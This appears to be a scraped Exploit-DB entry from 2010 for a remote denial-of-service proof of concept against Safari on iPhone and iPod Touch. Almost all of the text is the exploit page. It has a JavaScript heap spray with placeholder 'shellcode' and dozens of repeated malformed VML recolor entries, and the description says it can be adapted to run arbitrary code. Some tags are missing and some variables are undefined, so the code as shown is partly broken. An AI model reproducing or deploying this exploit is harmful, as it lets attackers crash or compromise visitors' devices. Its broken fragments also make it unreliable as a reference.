# Title: Bad "VML" Remote DoS on Safari for iPhone & iPod Touch
# EDB-ID: 11890
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Nishant Das Patnaik
# Published: 2010-03-26
# Verified: yes
# Download Exploit Code
# Download N/A
# Exploit Title: Bad "VML" Remote DoS on Safari for iPhone & iPod Touch |
# Author: Nishant Das Patnaik |
# For more of Nishant's research, please visit: |
# http://nishantdaspatnaik.yolasite.com/research.php |
# Tested on: iPod Touch 3G (iPhone OS 3.1.3) |
# Description: An attacker may direct the user to visit a specially crafted webpage that can lead the Safari browser on iPhone & iPod Touch running iPhone OS 3.1.3 to freeze and finally crash. The attacker can modify to the PoC to run arbitrary code on the device. |
---------PoC STARTS HERE---------------- |
<html xmlns:v="urn:schemas-microsoft-com:vml"> |
<title>Bad "VML" Remote DoS on Safari for iPhone & iPod Touch</title> |
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"> |
v\:* { behavior: url(#VMLRender); } |
<SCRIPT language="javascript"> |
shellcode = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); |
bigblock = unescape("%u0000%u0000"); |
slackspace = headersize+shellcode.length; |
while (bigblock.length<slackspace) bigblock+=bigblock; |
fillblock = bigblock.substring(0, slackspace); |
block = bigblock.substring(0, bigblock.length-slackspace); |
while(block.length+slackspace<0x40000) block = block+block+fillblock; |
for (i=0;i<350;i++) memory[i] = block + shellcode; |
<v:rect style='width:120pt;height:80pt' fillcolor="red" > |
<v:recolorinfo recolorstate="t" numcolors="97612895"> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" |
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" |
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> |
---------POC ENDS HERE---------------- |
0 条评论。